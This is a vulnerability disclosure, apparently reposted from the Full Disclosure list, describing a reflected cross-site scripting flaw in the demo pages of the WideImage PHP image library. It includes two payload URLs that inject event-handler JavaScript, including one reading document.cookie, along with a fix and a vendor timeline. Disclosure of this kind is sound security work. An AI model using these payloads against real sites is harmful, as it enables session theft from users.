[FD] WideImage Demo Code Cross Site Scripting (XSS)

WideImage Demo Code Cross Site Scripting (XSS) Description: WideImage is an object-oriented library for image manipulation. It requires PHP 5.2+ with GD2 extension. The library provides a simple way to loading, manipulating and saving images in the most common image formats. Type of vulnerability: Reflected XSS Threat level: Medium Tested on: Windows 8.1 Product: WideImage - An Open Source PHP library for image manipulation. Version: 11.02.19 Build date: 2011-02-19 Live vulnerable URL during discovery: http://ift.tt/1ezjxTf How to replicate this vulnerability: Assuming WideImage is installed on http://localhost:8080/wideimage/, one can inject JavaScript with: Payload URL 1: http://localhost:8080/wideimage/demo/?colors=255&demo=applyConvolution&dither=1&dither_cb=1&div=1&match_palette=1&match_palette_cb=1&matrix=2%25200%25200%252c%25200%2520-1%25200%252c%25200%25200%2520-1%22%20onmouseover%3dalert%28document.cookie%29%20bad%3d%22&offset=220&output=preset%20for%20demo Payload URL 1: http://localhost:8080/wideimage/demo/?colors=255&demo=applyConvolution&dither=1&dither_cb=1&div=1&match_palette=1&match_palette_cb=1&matrix=2%25200%25200%252c%25200%2520-1%25200%252c%25200%25200%2520-1%22%20onmouseover%3dprompt%666%29%20bad%3d%22&offset=220&output=preset%20for%20demo Workaround/Fix: To fix this, please remove the two following directories: public_html/wideimage/demo public_html/wideimage/test Disclosure Time-line: Notified vendor: July 04, 2015 Response from vendor: No response. Disclosure due to: Page here at http://ift.tt/Uef3p6 says, "6. If it's bug. Report it." Fix: Not fixed at this time (July 07, 2015) WideImage Vendor Bug Ticket Reference: http://ift.tt/1ClgoBJ Credits and Copyright: This vulnerability was discovered by Mohammad Sikkandar Sha. It's licensed under the creative commons attribution license 4.0. Mohammad Sikkandar Sha, 2015-July-07, Email: sikkandar.lynx@gmail.com

Source: Gmail -> IFTTT-> Blogger